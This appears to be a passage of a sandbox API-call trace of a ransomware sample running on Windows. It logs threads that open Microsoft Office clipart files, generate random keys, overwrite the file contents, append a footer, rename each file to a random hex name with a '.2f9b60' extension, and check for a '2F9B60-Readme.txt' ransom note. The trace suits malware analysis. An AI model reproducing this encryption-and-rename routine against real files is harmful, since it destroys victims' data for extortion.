[0117.142] wcscat (in: _Dest=0x2050c660, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c660) returned 1 [0117.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862250) returned 1 Thread: id = 1265 os_tid = 0xd84 [0115.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif")) returned 0x20 [0116.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF", dwFileAttributes=0x20) returned 1 [0116.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x167c [0116.445] GetFileSizeEx (in: hFile=0x167c, lpFileSize=0x3a1efdc0 | out: lpFileSize=0x3a1efdc0*=4899) returned 1 [0116.445] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x131f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.445] ReadFile (in: hFile=0x167c, lpBuffer=0x3a1efd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a1efd88, lpOverlapped=0x0 | out: lpBuffer=0x3a1efd40*, lpNumberOfBytesRead=0x3a1efd88*=0x4, lpOverlapped=0x0) returned 1 [0116.576] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0116.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c90 [0116.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610d0 [0116.576] NtQuerySystemTime (in: CurrentTime=0x3a1efc80 | out: CurrentTime=0x3a1efc80*=132462177220306000) returned 0x0 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x3981fc15 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x28c03855 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x3f63eb89 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x27f38699 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0xd8b9b18 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x378be442 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x43f036c0 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x53204ac0 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0xd4bc372 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x2d085794 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x6778c750 [0116.576] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x90bad9 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x2abdfbb8 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x74849678 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x664138c8 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x24f98e42 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x3c453838 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x40efd51 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x1a03389e [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x5985514a [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x11cfc83c [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x2a2c9e31 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x176e3fe6 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x429c5307 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0xfa5b96b [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x5981b7dd [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x27833a30 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x4dbeaf8f [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x2bfac80 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x3441e309 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x56eb0fe3 [0116.577] RtlRandomEx (in: Seed=0x3a1efc70 | out: Seed=0x3a1efc70) returned 0x430e0e78 [0116.589] ReadFile (in: hFile=0x167c, lpBuffer=0x41bc0d80, nNumberOfBytesToRead=0x1323, lpNumberOfBytesRead=0x3a1efc70, lpOverlapped=0x0 | out: lpBuffer=0x41bc0d80*, lpNumberOfBytesRead=0x3a1efc70*=0x1323, lpOverlapped=0x0) returned 1 [0116.750] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.750] WriteFile (in: hFile=0x167c, lpBuffer=0x41bc4990*, nNumberOfBytesToWrite=0x1323, lpNumberOfBytesWritten=0x3a1efc74, lpOverlapped=0x0 | out: lpBuffer=0x41bc4990*, lpNumberOfBytesWritten=0x3a1efc74*=0x1323, lpOverlapped=0x0) returned 1 [0116.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260350 [0116.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602f0 [0116.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202602f0) returned 1 [0116.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc4990) returned 1 [0116.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc0d80) returned 1 [0116.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0116.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c710) returned 1 [0116.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202602f0 [0116.981] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.982] WriteFile (in: hFile=0x167c, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a1efd90, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x3a1efd90*=0x10a, lpOverlapped=0x0) returned 1 [0116.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0116.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0116.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b20 [0116.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b20) returned 1 [0116.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b20 [0116.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9b80 [0116.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9b80) returned 1 [0116.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0116.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0116.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.000] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="71") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="a5") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="9a") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="77") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="34") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="40") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="7f") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="7c") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="4c") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="29") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="07") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="91") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="c6") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="d9") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="43") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="bb") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="26") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="f2") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="65") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="3c") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="01") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="68") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="a4") returned 2 [0117.000] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="7c") returned 2 [0117.000] RtlInitAnsiString (in: DestinationString=0x3a1efe08, SourceString="71a59a7734407f7c4c290791c6d943bb26f2653c0168a47c" | out: DestinationString="71a59a7734407f7c4c290791c6d943bb26f2653c0168a47c") [0117.000] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a1efdd8, SourceString="71a59a7734407f7c4c290791c6d943bb26f2653c0168a47c", AllocateDestinationString=1 | out: DestinationString="71a59a7734407f7c4c290791c6d943bb26f2653c0168a47c") returned 0x0 [0117.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8de0 [0117.001] wcscat (in: _Dest=0x2050cd40, _Source="71a59a773440" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\71a59a773440") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\71a59a773440" [0117.001] wcscat (in: _Dest=0x2050cd40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\71a59a773440.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\71a59a773440.2f9b60" [0117.001] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\71a59a773440.2f9b60", NtPathName=0x3a1efdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\71a59a773440.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1198c0 [0117.001] NtSetInformationFile (FileHandle=0x167c, IoStatusBlock=0x3a1efe50, FileInformation=0x1198c0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0117.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20291690) returned 1 [0117.149] NtQueryInformationFile (in: FileHandle=0x167c, IoStatusBlock=0x3a1efe18, FileInformation=0x3a1efe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a1efe18, FileInformation=0x3a1efe28) returned 0x0 [0117.149] NtSetInformationFile (FileHandle=0x167c, IoStatusBlock=0x3a1efe18, FileInformation=0x3a1efe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cd40) returned 1 [0117.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8de0) returned 1 [0117.151] FlushFileBuffers (hFile=0x167c) returned 1 [0117.153] CloseHandle (hObject=0x167c) returned 1 [0117.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050cd40 [0117.170] wcscpy (in: _Dest=0x2050cd40, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.170] wcscat (in: _Dest=0x2050cd40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cd40) returned 1 [0117.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862300) returned 1 Thread: id = 1266 os_tid = 0xd94 [0115.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif")) returned 0x20 [0116.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF", dwFileAttributes=0x20) returned 1 [0116.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1784 [0116.387] GetFileSizeEx (in: hFile=0x1784, lpFileSize=0x3a14fba0 | out: lpFileSize=0x3a14fba0*=1086) returned 1 [0116.387] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0x43a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.387] ReadFile (in: hFile=0x1784, lpBuffer=0x3a14fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a14fb68, lpOverlapped=0x0 | out: lpBuffer=0x3a14fb20*, lpNumberOfBytesRead=0x3a14fb68*=0x4, lpOverlapped=0x0) returned 1 [0116.447] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0116.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c90 [0116.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0116.448] NtQuerySystemTime (in: CurrentTime=0x3a14fa60 | out: CurrentTime=0x3a14fa60*=132462177219058000) returned 0x0 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x145f0ed8 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x3ec70a8b [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x3fb0a86e [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x2c30ef91 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x573c90ec [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x690efca9 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x5c380e5b [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x5f96f85f [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x740f62a8 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x10365e05 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x41c19461 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x267ee0d2 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x2969d3cd [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x7e8edbbd [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x7391e054 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x59427ff [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x36f23011 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x2478fc55 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x720b1de1 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0xf82a2c6 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x15ff252c [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x43e2b498 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x19f48c68 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0xfd56663 [0116.448] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x2f4c065a [0116.449] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x40b0c8db [0116.449] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x62fecccb [0116.449] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x4a7b35e2 [0116.449] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x393dc38 [0116.449] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x19d248bd [0116.449] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x68d08dd5 [0116.449] RtlRandomEx (in: Seed=0x3a14fa50 | out: Seed=0x3a14fa50) returned 0x784aa983 [0116.459] ReadFile (in: hFile=0x1784, lpBuffer=0x41b9b4e0, nNumberOfBytesToRead=0x43e, lpNumberOfBytesRead=0x3a14fa50, lpOverlapped=0x0 | out: lpBuffer=0x41b9b4e0*, lpNumberOfBytesRead=0x3a14fa50*=0x43e, lpOverlapped=0x0) returned 1 [0116.460] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.460] WriteFile (in: hFile=0x1784, lpBuffer=0x41b9f0f0*, nNumberOfBytesToWrite=0x43e, lpNumberOfBytesWritten=0x3a14fa54, lpOverlapped=0x0 | out: lpBuffer=0x41b9f0f0*, lpNumberOfBytesWritten=0x3a14fa54*=0x43e, lpOverlapped=0x0) returned 1 [0116.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fd0 [0116.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615e0 [0116.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202615e0) returned 1 [0116.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b9f0f0) returned 1 [0116.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b9b4e0) returned 1 [0116.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202615e0 [0116.515] SetFilePointerEx (in: hFile=0x1784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.515] WriteFile (in: hFile=0x1784, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3a14fb70, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3a14fb70*=0x10a, lpOverlapped=0x0) returned 1 [0116.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf90 [0116.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0116.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0116.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604a0) returned 1 [0116.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0116.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261610 [0116.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261610) returned 1 [0116.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0116.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0116.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0116.558] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="9a") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="b2") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="db") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="b3") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="28") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="57") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="74") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="de") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="b5") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="87") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="20") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="de") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="71") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="e3") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="0c") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="e6") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="56") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="7c") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="bd") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="f9") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="25") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="84") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="29") returned 2 [0116.558] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="fb") returned 2 [0116.558] RtlInitAnsiString (in: DestinationString=0x3a14fbe8, SourceString="9ab2dbb3285774deb58720de71e30ce6567cbdf9258429fb" | out: DestinationString="9ab2dbb3285774deb58720de71e30ce6567cbdf9258429fb") [0116.558] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a14fbb8, SourceString="9ab2dbb3285774deb58720de71e30ce6567cbdf9258429fb", AllocateDestinationString=1 | out: DestinationString="9ab2dbb3285774deb58720de71e30ce6567cbdf9258429fb") returned 0x0 [0116.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced91d0 [0116.559] wcscat (in: _Dest=0x2050ba00, _Source="9ab2dbb32857" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\9ab2dbb32857") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\9ab2dbb32857" [0116.559] wcscat (in: _Dest=0x2050ba00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\9ab2dbb32857.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\9ab2dbb32857.2f9b60" [0116.559] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\9ab2dbb32857.2f9b60", NtPathName=0x3a14fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: 